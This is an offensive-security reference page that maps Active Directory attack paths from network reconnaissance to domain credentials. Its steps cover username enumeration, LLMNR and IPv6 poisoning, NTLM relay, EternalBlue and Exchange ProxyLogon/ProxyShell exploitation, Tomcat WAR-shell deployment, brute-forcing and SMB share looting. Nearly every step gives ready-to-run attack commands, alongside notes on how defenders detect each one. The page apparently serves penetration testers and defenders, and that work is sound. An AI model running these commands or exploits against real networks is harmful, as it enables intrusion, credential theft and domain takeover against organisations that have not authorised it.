HackGraphOpen the interactive graph →

Active Directory Attack Paths

Enumerate, capture credentials, escalate, move laterally, and reach Domain Admin: Kerberoasting, AS-REP roasting, NTLM relay, AD CS (ESC1-ESC16), DACL/ACL abuse, delegation, DCSync, and golden/silver tickets.

250 techniques and steps. Explore this map interactively →

Reconnaissance

start Engagement Start

You have network access. Pick a path.

You are plugged into the internal network (or have a low-privilege foothold). From here the goal is to acquire your first set of valid domain credentials, then escalate toward Domain Admin. What you hold now splits the approach: nothing, a valid domain account, or valid local credentials.

Network Recon

Find the DC, hosts, and weak protocols.

Map the environment before touching anything loud. Identify domain controllers, naming context, hosts with SMB signing disabled (relay targets), and whether legacy name-resolution protocols (LLMNR/NBT-NS/mDNS) are in use.

Requires

  • Network access to the internal subnet

Example commands

# Generate relay-target list (Windows, SMB signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
# Show signing status for all hosts (incl. non-Windows) for the full picture
nxc smb 10.0.0.0/24
# Locate domain controllers via DNS SRV
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>

Tools

MITRE ATT&CK: T1046

References

OPSEC / detection: Passive listening and DNS lookups are quiet; full-range nmap scans are noisy and may trip IDS. Prefer targeted scans.

Username Enumeration

Validate AD usernames via Kerberos pre-auth, no creds.

Kerbrute (and similar tools) send AS-REQs with no pre-authentication: existing accounts return KRB5KDC_ERR_PREAUTH_REQUIRED, unknown ones return KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, so valid usernames are confirmed with no credentials and without incrementing bad-password counters (no account lockout). The validated list seeds password spraying and AS-REP roasting.

Requires

  • Network access to a Domain Controller
  • A candidate username list

Example commands

# Enumerate valid usernames (Kerbrute)
kerbrute userenum -d domain.local --dc 10.0.0.1 usernames.txt
# Enumerate via nmap
nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm='DOMAIN.LOCAL',userdb=users.txt 10.0.0.1

Tools

MITRE ATT&CK: T1087.002

References

OPSEC / detection: Bulk AS-REQ enumeration generates Kerberos pre-auth events (4768) on the DC, but does not increment badPwdCount so it will not lock accounts. High volume is detectable.

RID Cycling

Brute-force RIDs over a null SMB session to list users.

Where a host permits null or anonymous SMB sessions, the domain SID is recovered and appended with sequential RIDs to resolve account names. This yields a user/computer list with no credentials, feeding spraying and roasting.

Requires

  • Null/anonymous SMB or RPC access to the DC

Example commands

# RID brute via null session
nxc smb 10.0.0.1 -u '' -p '' --rid-brute 4000
# Impacket lookupsid (null)
lookupsid.py 'domain.local/anonymous:@10.0.0.1'

Tools

MITRE ATT&CK: T1087.002

References

OPSEC / detection: Many LSARPC/LSAT (MS-LSAT) SID-lookup calls (hLsarLookupSids over \lsarpc) against the DC are visible; modern DCs frequently disable anonymous access (RestrictAnonymous), so this often fails on hardened domains.

Anonymous LDAP Dump

Dump directory objects via an LDAP anonymous/null bind.

A successful anonymous (null) LDAP bind alone does not grant enumeration: on default AD any search beyond RootDSE fails until fLDAPBlockAnonOps is relaxed (dsHeuristics 7th char = 2 / 0000002), which is NOT the default. The reliable path is any authenticated (even low-privilege) bind, which reads most of the directory; anonymous enumeration of users, groups, and computers is the rarer misconfiguration. Useful for mapping and to feed BloodHound/spraying.

Requires

  • LDAP reachable
  • Anonymous bind allowed (or any low-priv account)

Example commands

# Enumerate users via anonymous bind
windapsearch --dc-ip 10.0.0.1 -U
# Full dump (low-priv bind)
ldapdomaindump ldap://10.0.0.1 -u 'domain.local\user' -p pass -o loot/

Tools

MITRE ATT&CK: T1087.002

References

OPSEC / detection: Anonymous LDAP bind is disabled by default on modern AD; success usually indicates legacy/misconfigured DCs. An authenticated low-priv dump blends with normal traffic, but a successful anonymous bind + bulk search is anomalous on a default DC and is a realistic detection point (Directory Service event 1644 / LDAP search auditing / EDR).

RPC Null-Session Enumeration

Enumerate users, groups and password policy over a null RPC/SAMR session.

Where a host allows a null or guest session, MS-RPC hands you domain users, groups, group membership, and the password policy over SAMR + LSARPC (over 135/139/445) with no credentials; shares come from a separate interface, SRVSVC (NetShareEnum). This is the direct counterpart to RID cycling: when enumeration is permitted outright, enumdomusers / querydispinfo return the whole list at once, and getdompwinfo gives the lockout threshold so you can set a safe spray rate. The result feeds spraying and AS-REP roasting.

Requires

  • Null or guest session permitted on the DC/host (SAMR/LSARPC over MS-RPC)

Example commands

# rpcclient null session
rpcclient -U '' -N 10.0.0.1
# then: enumdomusers ; enumdomgroups ; querydispinfo ; getdompwinfo
# One-shot enum (impacket / enum4linux-ng)
samrdump.py 'domain.local/:@10.0.0.1'
enum4linux-ng -A 10.0.0.1

Tools

MITRE ATT&CK: T1087.002

References

OPSEC / detection: SAMR/LSARPC queries against the DC are visible; modern DCs restrict anonymous access (RestrictAnonymous), so a null session often fails on hardened domains and you fall back to RID cycling or an authenticated bind.

SMTP / Finger User Enumeration

Validate usernames via SMTP VRFY/EXPN/RCPT or the finger service.

Legacy services leak valid usernames with no authentication. An SMTP server often answers VRFY / EXPN / RCPT TO probes differently for real versus unknown local users, and the finger daemon (79) discloses known and logged-in accounts. Either one turns a guessed name list into a validated one and confirms the account-naming convention, which then feeds spraying and online brute-forcing. Common on Linux and appliance mail hosts and legacy Unix.

Requires

  • SMTP (25, sometimes 587/465) or finger (79) reachable; submission ports usually gate commands behind STARTTLS+AUTH so enum there is unreliable
  • VRFY/EXPN/RCPT not disabled on the MTA

Example commands

# SMTP user enum (RCPT / VRFY)
smtp-user-enum -M RCPT -U users.txt -D domain.local -t 10.0.0.10
# manual: nc 10.0.0.10 25  ->  VRFY root
# Finger service enum
finger root@10.0.0.10
finger @10.0.0.10

Tools

MITRE ATT&CK: T1087.001

References

OPSEC / detection: Probes are logged by the mail server; VRFY/EXPN are disabled on most hardened MTAs, so RCPT is harder for admins to disable (the MTA needs it) and is the usual fallback, but it is slower and can be defeated by catch-all/tarpit configs. Otherwise low-noise.

category No-Cred Enumeration

Map the domain before you hold any account.

Reconnaissance from the network with no credentials. Enumerate valid usernames, cycle RIDs, and pull anonymous LDAP/SMB data to build a target list and find low-hanging accounts before you ever authenticate.

MITRE ATT&CK: T1087

References

Initial Access

LLMNR / NBT-NS Poisoning

Answer broadcast name queries, capture NetNTLMv2.

When a host fails DNS it falls back to LLMNR/NBT-NS broadcasts. Responder answers "that's me", the victim authenticates to you, and you capture its NetNTLMv2 challenge/response. Relay it live or crack it offline.

Requires

  • Network access
  • LLMNR/NBT-NS enabled on the segment

Example commands

# Observe without poisoning (analyze mode)
responder -I eth0 -A
# Poison and capture NetNTLMv2
responder -I eth0 -wv

Tools

MITRE ATT&CK: T1557.001

References

OPSEC / detection: Responder is detectable: it answers names that should not resolve. Defenders deploy "honey" name lookups to catch it. Run analyze mode (-A) first to observe without poisoning. LLMNR is still on by default through current Windows 11, but Microsoft is ramping it down in favor of mDNS, and hardened estates disable LLMNR and NBT-NS by GPO. Where broadcast name resolution is turned off this yields nothing, so pivot to IPv6/DHCPv6 DNS takeover (mitm6) or ADIDNS spoofing instead.

Valid Local Credentials

A local account on a host, often low-privilege; may need escalation to local admin.

You hold a valid LOCAL account (not a domain account): a default/weak local login, a cracked SAM hash, or creds from a config file. If it is low-privilege you must escalate locally before you can harvest secrets or pivot. Local admin on a domain-joined host lets you dump domain credentials.

Requires

  • Any valid local account on a host

MITRE ATT&CK: T1078.003

IPv6 DNS Takeover (DHCPv6)

Spoof DHCPv6/DNS over IPv6, then relay NTLM.

Windows prefers IPv6 and auto-requests a DHCPv6 lease. mitm6 answers as a rogue DHCPv6 server and becomes the victim's DNS; ntlmrelayx then serves a rogue WPAD (-wh) so the victim requests proxy auth, coercing NTLM. The captured auth is relayed to LDAP(S) to grant delegation rights / configure RBCD on the relayed host, yielding SYSTEM there (and a common path to domain compromise) with no credentials.

Requires

  • On the same local network as the victims
  • IPv6 enabled on victims (default)

Example commands

# Spoof DHCPv6/DNS for the domain
mitm6 -d domain.local
# Relay to LDAPS, set delegation rights
ntlmrelayx.py -6 -t ldaps://dc01 -wh wpad.domain.local --delegate-access

Tools

MITRE ATT&CK: T1557.003

References

OPSEC / detection: Rogue DHCPv6/DNS and periodic Router Advertisements are noisy and detectable (unexpected DHCPv6 advertisements, sudden IPv6 DNS registration). mitm6 avoids acting as a gateway and uses short TTLs to limit disruption. Use -d to scope to target domains; defenders monitor for unexpected DHCPv6 advertisements.

category Poisoning & Relay

Capture or relay authentication from network traffic.

Abuse multicast/broadcast name resolution (LLMNR/NBT-NS/mDNS) and IPv6/DHCPv6 spoofing to coerce victims into authenticating to you, then crack the captured NetNTLM hashes offline or relay them straight to other hosts for code execution.

MITRE ATT&CK: T1557

References

category Exposed Services & Apps

Foothold via an exposed service, device, or app, no domain creds.

Turn network-reachable, unauthenticated attack surface into a foothold or credentials: printer/MFP/app pass-back (redirect stored LDAP/SMTP creds to you), internal web apps (Jenkins, GitLab, Tomcat, Splunk) with default creds or RCE, weak or legacy protocols (FTP, Telnet, NFS, SNMP, rsync, VNC), and anonymous or guest-readable SMB shares. None of these need a domain account.

MITRE ATT&CK: T1190

References

category Quick Compromise

Pre-auth, high-impact exploits: unauthenticated RCE to SYSTEM (EternalBlue, ProxyLogon/ProxyShell, SMBGhost) or an auth-bypass to Domain Admin (ZeroLogon).

Pre-auth, high-impact exploits against exposed services that can hand you SYSTEM on a host or Domain Admin outright when a target is unpatched: EternalBlue, the Exchange ProxyLogon/ProxyShell chains, SMBGhost, and ZeroLogon against a DC.

MITRE ATT&CK: T1068

References

EternalBlue (MS17-010)

SMBv1 buffer overflow -> remote code execution as SYSTEM.

MS17-010 (CVE-2017-0143/0144/...) is a set of flaws in the SMBv1 server where specially crafted packets cause a pool buffer overflow, allowing unauthenticated remote code execution. The NSA-developed exploit (leaked by the Shadow Brokers and used by WannaCry) yields SYSTEM on an unpatched, SMBv1-enabled host. Scan first, then exploit.

Affects: SMBv1 hosts unpatched for MS17-010: Windows 7/8.1, Windows 10 1507/1607, and Server 2008/R2, 2012/R2, 2016.

Requires

  • A reachable host with SMBv1 enabled (445/tcp)
  • MS17-010 cumulative update not applied (and SMBv1 still enabled)

Example commands

# Check vulnerability (NetExec)
nxc smb 10.0.0.0/24 -M ms17-010
# Exploit with Metasploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 10.0.0.20; run

Tools

MITRE ATT&CK: T1210

References

OPSEC / detection: Memory-corruption PoC: can BSOD/crash the target if the kernel grooming fails, a real risk on production hosts. SMBv1 exploit traffic and the resulting SYSTEM-level process are detectable; disabling SMBv1 and patching fully mitigate.

ProxyShell (Exchange)

Exchange path-confusion + backend privesc + file-write chain -> webshell/RCE.

ProxyShell chains three on-prem Exchange CVEs: CVE-2021-34473 (pre-auth path confusion / ACL bypass in Explicit Logon URL normalization, reaching an arbitrary backend URL as the Exchange machine account), CVE-2021-34523 (PowerShell backend privilege escalation via X-Rps-CAT), and CVE-2021-31207 (arbitrary file write via New-MailboxExportRequest). Combined, an unauthenticated attacker exports a mailbox containing an ASPX webshell into a web-accessible directory, then triggers it for RCE as SYSTEM/Exchange. From SYSTEM the Exchange machine account's domain rights (pre-Feb-2019 Exchange Windows Permissions still holding WriteDacl on the domain) let you grant yourself DCSync, or you dump domain credentials on the host, pivoting to Domain Admin.

Requires

  • A reachable on-prem Exchange server (Autodiscover/OWA exposed)
  • Exchange unpatched (2013 <= CU23, 2016 <= CU20, 2019 <= CU9; pre KB5001779 + May-2021)

Example commands

# Exploit the full chain with Metasploit
msf6 > use exploit/windows/http/exchange_proxyshell_rce
msf6 > set RHOSTS mail.corp.local; set EMAIL admin@corp.local; run

Tools

MITRE ATT&CK: T1190

References

OPSEC / detection: Drops an ASPX webshell on disk (a durable, easily-hunted artifact in Exchange web dirs) and leaves IIS/Exchange request logs of the path-confusion requests and New-MailboxExportRequest. Patch Exchange and monitor for unexpected mailbox export requests.

ARP Poisoning

Spoof ARP to become a man-in-the-middle on the local network for capture and relay.

ARP has no authentication, so unsolicited replies are trusted. Poisoning the victim and/or gateway ARP caches reroutes traffic through the attacker, who can sniff cleartext protocols, capture NetNTLM challenge-responses, and feed redirected authentications into relay chains. A noisy fallback when LLMNR/NBNS poisoning is unavailable.

Requires

  • On the same local network as the target

Example commands

# Targeted ARP MITM (bettercap; fullduplex also poisons the gateway for two-way interception, default is half-duplex/target-only)
bettercap -iface eth0 -eval "set arp.spoof.targets 10.0.0.50; set arp.spoof.fullduplex true; arp.spoof on; net.sniff on"

Tools

MITRE ATT&CK: T1557.002

References

OPSEC / detection: Loud and risky. It floods the segment and can break connectivity. NIDS and monitoring detect it; Dynamic ARP Inspection (plus port security / static ARP) actively drops the spoofed replies, so the attack fails outright on a segment with DAI configured. Poison specific hosts, never the whole subnet. bettercap enables IP forwarding automatically; the manual sysctl -w net.ipv4.ip_forward=1 step is only needed for the dsniff/arpspoof path.

ProxyLogon (CVE-2021-26855/-27065)

Pre-auth Exchange SSRF + file-write → webshell, SYSTEM RCE on on-prem Exchange.

CVE-2021-26855 is a pre-authentication SSRF letting an attacker authenticate as the Exchange backend, chained with CVE-2021-27065 to write an arbitrary .aspx webshell. The result is unauthenticated RCE as SYSTEM on on-prem Exchange 2013/2016/2019 (pre Mar-2021), typically a fast pivot to Domain Admin given Exchange's elevated AD rights: from SYSTEM the Exchange machine account can abuse Exchange Windows Permissions' WriteDacl on the domain (pre-Feb-2019 hardening) to grant itself DCSync, or you dump domain credentials on the host.

Requires

  • Network access to an unpatched on-prem Exchange (pre Mar-2021)

Example commands

# Exploit (PoC; --mail must be a real existing mailbox on the target)
python3 ProxyLogon.py --host=<exchange-fqdn> --mail=<valid-existing-user@target-domain>

Tools

MITRE ATT&CK: T1190

References

OPSEC / detection: Webshell drops to known OWA/ECP paths are heavily signatured and widely IOC'd. Only viable against unpatched/internet-exposed Exchange.

ProxyNotShell (CVE-2022-41040/-41082)

Authenticated Exchange SSRF + PowerShell-backend RCE on on-prem Exchange.

ProxyNotShell pairs an authenticated SSRF (CVE-2022-41040) with a deserialization RCE in the Exchange PowerShell backend (CVE-2022-41082). Unlike ProxyLogon it needs valid credentials for any standard mailbox user, but still yields code execution and an AD foothold. The CVEs affect Exchange 2013/2016/2019, but the Metasploit module below only supports Exchange 2019 (v15.2) and hard-fails on 2013/2016, so use a version-agnostic PoC for the older builds.

Requires

  • A standard mailbox account
  • Unpatched Exchange (pre Nov-2022)

Example commands

# Metasploit
use exploit/windows/http/exchange_proxynotshell_rce
set RHOSTS exchange.corp.local
set USERNAME user@corp.local
set PASSWORD Password1
run

Tools

MITRE ATT&CK: T1190

References

OPSEC / detection: Requires authentication. Microsoft's URL-rewrite mitigation was repeatedly bypassed (Jang's rule bypass, then the CVE-2022-41080 / OWA front-end path), so it was not a reliable control; only the Nov 2022 patch actually closed the chain. The chain is heavily detected.

Internal Web App Attacks

Foothold via an exposed internal app: Jenkins, GitLab, Tomcat, Splunk…

Internal networks are full of unhardened web apps that hand you a foothold or credentials with no domain account: CI/CD and dev tooling (Jenkins Groovy console → RCE, GitLab, Gitea, SonarQube), app servers (Tomcat / JBoss manager → deploy a WAR), monitoring / IT suites (Splunk, PRTG, Zabbix, osTicket), and CMSes (WordPress, Joomla, Drupal). Hunt default credentials, known CVEs, and admin consoles that allow code execution; these footholds frequently run as a service account or SYSTEM.

Requires

  • Network reach to an internal web application (often surfaced during recon)

Example commands

# Discover + template-scan internal web apps
nmap -p80,443,8080,8443,8000,8089 -oG - 172.16.5.0/24 | grep open
nuclei -l web_hosts.txt -severity critical,high
# Example: Tomcat manager → deploy a WAR shell
curl -u tomcat:tomcat -T shell.war "http://10.0.0.30:8080/manager/text/deploy?path=/x"

Tools

MITRE ATT&CK: T1190

References

OPSEC / detection: Credential brute-forcing and exploit traffic against internal apps are noisy; prefer default-credential checks and a single known-good exploit. App-server shells stand out as child processes of the web service.

Weak / Legacy Services

Loot legacy protocols: FTP, Telnet, NFS, SNMP, rsync, VNC.

Legacy and misconfigured services leak data, credentials, or a foothold with no domain account: anonymous or default-credential FTP / TFTP (config files, backups), cleartext Telnet / rlogin, NFS exports that are world-readable or set no_root_squash (read secrets, or write a SUID-root binary), SNMP public / private community strings (device configs and creds), rsync modules, and open VNC. Looted creds are as often local or app/service secrets as domain ones. Several of these daemons also carry known unauthenticated RCE (the vsftpd 2.3.4 backdoor, ProFTPd mod_copy CVE-2015-3306, Samba is_known_pipename), which drops a shell directly, often as root (vsftpd backdoor, SambaCry); privilege depends on the service account, so ProFTPd mod_copy typically lands as the unprivileged nobody user. Map them during recon and take the low-hanging fruit before touching AD.

Requires

  • Network reach to the legacy service (often anonymous / default-credential access)

Example commands

# Anonymous FTP + NFS export hunting
ftp -nv 10.0.0.10   # try anonymous / anonymous
showmount -e 10.0.0.10 && mount -t nfs 10.0.0.10:/export /mnt
# SNMP community-string walk
onesixtyone -c communities.txt 10.0.0.0/24
snmpwalk -v2c -c public 10.0.0.10
# Known-CVE RCE in a legacy daemon (Metasploit)
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor   # or unix/ftp/proftpd_modcopy_exec (CVE-2015-3306)

Tools

MITRE ATT&CK: T1190

References

OPSEC / detection: Mostly low-noise reads; NFS mounts and SNMP sweeps are visible to network monitoring. High signal-to-effort against flat or legacy network segments.

Anonymous / Guest SMB Shares

List and loot SMB shares that allow null-session or guest access.

A null session (empty username and password) or the built-in Guest account often lists an SMB server's shares and grants read, sometimes write, to non-default ones (Public, Data, transfer, users$, backups). Read those straight off the wire for credentials, configs, scripts, unattend.xml / web.config, .kdbx / .ppk / .pem and backups; a writable anonymous share also lets you plant a coercion file (.lnk / .scf) to harvest NetNTLM. Looted creds are as often local or app secrets as domain ones. Modern Windows restricts anonymous access (RestrictAnonymous) and disables Guest by default, so this pays off most against file servers, NAS and Samba appliances, printers, and legacy hosts. The same IPC$ null session backs RID cycling for a user list.

Requires

  • Network reach to SMB (445/139)
  • Null-session or Guest access permitted on the target

Example commands

# List shares over a null / guest session
nxc smb 10.0.0.0/24 -u '' -p '' --shares      # null session
nxc smb 10.0.0.0/24 -u guest -p '' --shares
# Enumerate + connect anonymously (smbclient)
smbclient -N -L //10.0.0.10               # list shares, no creds
smbclient -N //10.0.0.10/Share
# Map read/write perms, then loot a share
smbmap -H 10.0.0.10 -u guest -p ''
smbclient -N //10.0.0.10/Share -c 'recurse ON; prompt OFF; mget *'

Tools

MITRE ATT&CK: T1135

References

OPSEC / detection: Anonymous reads are low-noise, but share access is logged (5140/5145). RestrictAnonymous and the default-disabled Guest account block this on modern Windows, so a success usually means a file server, appliance, or legacy box.

Online Password Brute-Force

Guess service logins live with hydra / medusa / nxc: SSH, FTP, RDP, HTTP, SMB.

Where a login service is exposed and lockout is lax, guess credentials against it directly: hydra / medusa / ncrack / NetExec against SSH, FTP, Telnet, RDP, POP / IMAP / SMTP, HTTP forms and Basic auth, MSSQL / MySQL, and SMB. Seed it with an enumerated or OSINT username list and a targeted wordlist (rockyou, a mangled company list, vendor defaults). Against domain accounts prefer password spraying, which paces itself under the lockout threshold; online brute is best on local, appliance, and service logins with no lockout policy. A hit yields local, service, or domain credentials.

Requires

  • A reachable authentication service
  • Lax or absent account-lockout policy (otherwise spray instead)

Example commands

# Brute SSH / FTP (hydra)
hydra -L users.txt -P rockyou.txt ssh://10.0.0.10
hydra -l admin -P pass.txt ftp://10.0.0.10
# Brute an HTTP login form
hydra -l admin -P pass.txt 10.0.0.10 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
# Protocol brute over NetExec
nxc ssh 10.0.0.10 -u users.txt -p pass.txt

Tools

MITRE ATT&CK: T1110.001

References

OPSEC / detection: Noisy: each attempt is a failed logon (4625 / auth.log) and can trip account lockout, unlike spraying. Throttle, prefer a small targeted list, and confirm there is no lockout policy before hammering domain accounts.

Pre-Windows 2000 Computer Accounts

Pre-staged computer accounts keep a predictable password (lowercased name) until first boot.

A computer account pre-created with the 'pre-Windows 2000' flag gets an initial password equal to its own name in lowercase (e.g. WS01$ -> 'ws01'), truncated to 14 chars. Until that machine first boots and rotates its password, anyone who can enumerate these stale objects (WORKSTATION_TRUST_ACCOUNT with logonCount 0 / low pwdLastSet) can authenticate as the computer and request a TGT, a quiet foothold for further enumeration and delegation abuse.

Requires

  • Ability to enumerate domain objects (any account; sometimes anonymous)
  • A pre-staged computer object that has never logged on

Example commands

# Enumerate + try predictable passwords (NetExec)
netexec ldap dc01.corp.local -u user -p 'Password1' -M pre2k
# Standalone: spray pre-created machine passwords
pre2k unauth -d corp.local -dc-ip 10.0.0.1 -inputfile computers.txt

Tools

MITRE ATT&CK: T1078.002

References

OPSEC / detection: Spray-like Kerberos pre-auth failures (4771) across many computer names are detectable; a successful logon as a dormant machine account is anomalous. Quiet compared to most footholds.

Enumeration

Valid Domain Credentials

A foothold identity to enumerate and escalate from.

You hold at least one valid domain account (cleartext, hash, or ticket) to enumerate and escalate from. Check first whether it is already local admin somewhere. Many users administer their own workstation or a cluster of hosts, so spray the credential across the estate and watch for NetExec's (Pwn3d!) marker, then move to dumping credentials as local admin.

Requires

  • Any valid domain credential

Example commands

# Find where these creds are already local admin (look for (Pwn3d!))
nxc smb 10.0.0.0/24 -u user -p pass -d domain.local

Tools

MITRE ATT&CK: T1078.002

References

OPSEC / detection: A subnet-wide SMB spray is noisy: it drives a Type 3 network logon on every reachable host, landing as 4624 on success and 4625 where the account is not authorized, which is an easy volumetric detection. Scope the spray to a known target list rather than a blind /24.

Attack-Path Mapping

Graph the domain to find the shortest path to Domain Admin.

Collect the AD graph (users, groups, sessions, ACLs, delegations) and compute attack paths from owned principals to high-value targets, turning blind enumeration into a directed plan. SharpHound 2.x / bloodhound-ce-python collect the data, BloodHound CE analyses it, and PowerView / ldapdomaindump cover the same ground manually. Legacy bloodhound-python emits BloodHound 4.2/4.3 JSON that will not ingest into CE.

Requires

  • Any valid domain account

Example commands

# bloodyAD
bloodyAD -u user -p pass -d domain.local --host dc01 get bloodhound
# Collect from Linux (CE-compatible collector)
bloodhound-ce-python -d domain.local -u user -p pass -c All -ns 10.0.0.1

Tools

MITRE ATT&CK: T1087.002

References

OPSEC / detection: Full collection generates heavy LDAP traffic and many session queries. Use stealth collection methods and avoid collecting every method at once in monitored environments.

Domain Object Enumeration

Targeted LDAP / PowerView queries for SPNs, ACLs, delegation, GPOs and trusts.

Beyond BloodHound's graph, query the directory directly for specific abuse primitives: kerberoastable SPNs, AS-REP-roastable users, unconstrained / constrained delegation, dangerous ACLs, GPO links, LAPS/gMSA readers, MachineAccountQuota, and trust topology. PowerView, windapsearch and ldapdomaindump answer these precisely without the noise of a full BloodHound collection.

Requires

  • Any valid domain account

Example commands

# Find objects you can write (dangerous ACLs on you) (bloodyAD)
bloodyAD -u user -p pass -d domain.local --host dc01 get writable
# Find delegation (PowerView)
Get-DomainComputer -Unconstrained; Get-DomainUser -TrustedToAuth
# Full LDAP dump
ldapdomaindump ldap://10.0.0.1 -u 'corp.local\user' -p PASS -o loot/

Tools

MITRE ATT&CK: T1087.002

References

OPSEC / detection: Targeted LDAP reads blend with normal directory traffic far better than full BloodHound collection; large recursive GC queries are the main signal.

Trust Enumeration

Map every trust: direction, transitivity, SID filtering.

Map the trust topology before any trust attack: which domains trust which, the direction, transitivity, and the trustAttributes flags (WITHIN_FOREST 0x20, FOREST_TRANSITIVE 0x8, QUARANTINED_DOMAIN 0x4, TREAT_AS_EXTERNAL 0x40). PowerView's Get-DomainTrustMapping crawls reachable trusts, nltest queries them natively, and BloodHound renders the graph. The trustAttributes value tells you whether SID filtering is in play, and therefore which abuse paths are viable.

Requires

  • Any valid domain account

Example commands

# Enumerate trusts (bloodyAD)
bloodyAD -u user -p pass -d domain.local --host dc01 get trusts
# Map all trusts (PowerView)
Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv
# Enumerate trusts natively
nltest /domain_trusts /all_trusts /v

Tools

MITRE ATT&CK: T1482

References

OPSEC / detection: nltest /domain_trusts is a well-known discovery indicator (T1482); BloodHound collection is noisy. LDAP reads of trustedDomain objects blend with normal directory traffic.

Foreign Group Membership

Find principals from domain A with rights in domain B.

Trusts let a principal from one domain be a member of a group (typically a domain-local group) in another. Get-DomainForeignGroupMember enumerates a target domain's groups that contain outside members (its incoming access); it surfaces the domain-local groups and Foreign Security Principals that external/forest-trust access is actually granted through, since FSPs land in domain-local groups and cannot be members of universal groups. Get-DomainForeignUser finds users belonging to groups outside their own domain (outgoing access), but reflects only intra-forest universal-group memberships (the memberOf backlink that replicates to the global catalog), so it will miss external/forest-trust FSP paths entirely.

Requires

  • Any valid domain account
  • At least one mapped trust

Example commands

# Groups with foreign members (incoming)
Get-DomainForeignGroupMember -Domain target.domain.local
# Users in groups outside their domain (outgoing)
Get-DomainForeignUser
# List ForeignSecurityPrincipals (bloodyAD)
bloodyAD -u user -p pass -d domain.local --host dc01 get search --base 'CN=ForeignSecurityPrincipals,DC=domain,DC=local' --filter '(objectClass=foreignSecurityPrincipal)' --attr cn,memberOf

Tools

MITRE ATT&CK: T1482

References

OPSEC / detection: LDAP group-membership enumeration blends with normal directory traffic; large global-catalog queries across many domains are the main signal. Read-only.

SCCM Site Discovery

Locate management points, site servers & SMS providers via LDAP/SMB.

SCCM/MECM infrastructure is published to AD: management points, the System Management container, PXE-enabled distribution points, and host-naming conventions are discoverable by any authenticated user. sccmhunter's find module queries LDAP for these objects and profiles likely site systems, the targets the rest of the branch depends on (Misconfiguration Manager RECON-1/2).

Requires

  • Any valid domain account (authenticated LDAP enumeration)

Example commands

# Find SCCM site systems via LDAP
python3 sccmhunter.py find -u 'lowpriv' -p 'P@ssw0rd' -d internal.lab -dc-ip 10.10.100.100
# Identify site servers from Windows
SharpSCCM.exe get site-info

Tools

MITRE ATT&CK: T1018

References

OPSEC / detection: Authenticated LDAP queries are low-noise and look like normal directory traffic. The find module is read-only against AD; no writes to SCCM occur.

MSSQL Domain Account Enumeration

List domain users and groups from a SQL login via SUSER_SID/SUSER_SNAME, no domain creds.

A domain-joined SQL Server translates between SIDs and account names with the built-in SUSER_SID / SUSER_SNAME functions, even for principals it holds no rights over. Recover the domain SID prefix from a well-known group (Domain Admins is RID 512), strip the trailing RID to get the 24-byte base, then cycle RIDs (500-1500, extend toward 10000) through crafted little-endian SIDs to resolve a full list of domain users and groups, all without domain authentication. It works from any SQL query channel: a low-privilege login or a SQL-injection UNION/stacked sink. The recovered list seeds password spraying and AS-REP roasting, and surfaces service accounts. This is the SQL-Server equivalent of null-session RID cycling, for when SMB is locked down but MSSQL is reachable.

Requires

  • An MSSQL query channel: a valid SQL login (even low-priv / local auth) or a SQL-injection UNION/stacked sink
  • The SQL Server is joined to the target domain

Example commands

# Confirm the SQL Server is domain-joined
SELECT DEFAULT_DOMAIN();
# Recover the domain SID from a well-known group (Domain Admins = RID 512)
SELECT master.dbo.fn_varbintohexstr(SUSER_SID('<DOMAIN>\Domain Admins'));
# Resolve a crafted SID (24-byte base + little-endian RID) to a name
SELECT SUSER_SNAME(0x<24-byte-SID-base><RID-little-endian>);  -- RID 500 -> ...f4010000
# One-shot RID brute over a usable SQL login
netexec mssql 10.0.0.30 -u user -p 'Password1' --local-auth --rid-brute

Tools

MITRE ATT&CK: T1087.002

References

OPSEC / detection: SUSER_SID/SUSER_SNAME need no elevated role and no domain authentication, but a first-time RID sweep of unresolved SIDs forces LSA cache-miss lookups that do hit a domain controller (LsaLookupSids over LSARPC). Two signals: many fast queries against the SQL host (database query auditing) and a burst of SID-translation traffic to the DC.

AD Recycle Bin Reanimation

Mine the AD Recycle Bin for secrets, or restore a deleted privileged object to regain its SID, group memberships and ACL edges.

With the AD Recycle Bin enabled, deleted objects are retained with all attributes intact. Anyone who can read deleted objects (Get-ADObject -IncludeDeletedObjects) can mine them for secrets (cleartext in description/info, key material) or, with restore rights, reanimate a deleted account via Restore-ADObject: the restored account instantly regains its original SID, group memberships, delegations and ACL edges, which can re-open a privilege-escalation path.

Requires

  • Read access to deleted objects (and restore rights to reanimate)
  • AD Recycle Bin enabled

Example commands

# bloodyAD
bloodyAD -u user -p pass -d domain.local --host dc01 set restore <deletedDN>
# Enumerate deleted user objects
Get-ADObject -Filter 'isDeleted -eq $true -and ObjectClass -eq "user"' -IncludeDeletedObjects -Properties *
# Restore a deleted object (regains SID + memberships)
Restore-ADObject -Identity (Get-ADObject -Filter {sAMAccountName -eq 'Todd.Wolfe'} -IncludeDeletedObjects).ObjectGUID

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: Restore operations are logged (5138 'directory service object undeleted', plus 5136 for the accompanying attribute writes) and may surface a previously-deleted, possibly-monitored account; those events need the Audit Directory Service Changes subcategory plus a SACL on the target container, which is often not enabled. Prefer read-only attribute mining where the goal is only secret recovery.

AD CS Enumeration

Run certipy find to inventory CAs and templates and name which ESC path is live.

Authenticated enumeration of Active Directory Certificate Services: inventory the enterprise CAs and certificate templates and flag the misconfigurations behind the ESC1-ESC17 family. Certipy parses template flags, EKUs, enrollment rights, and CA settings and names the exact escalation path available. The output tells you which ESC primitive to pivot into next; it does not compromise anything by itself. Re-run it as each new principal is compromised, since vulnerable templates are scoped by enrollment rights.

Requires

  • Valid domain credentials (password, NT hash, or Kerberos ticket)
  • LDAP / RPC reachability to a DC and an AD CS enterprise CA

Example commands

# Confirm AD CS exists (locate the enrollment server / CA)
nxc ldap <DC_IP> -u <user> -p '<pass>' -M adcs
# Enumerate only the vulnerable templates / CAs (Certipy)
certipy find -u <user>@domain.local -p '<pass>' -dc-ip <DC_IP> -vulnerable -enabled -stdout   # auth: -hashes :<NTHASH> | -k -no-pass
# Capture the full inventory for offline review / BloodHound
certipy find -u <user>@domain.local -p '<pass>' -dc-ip <DC_IP> -text -stdout
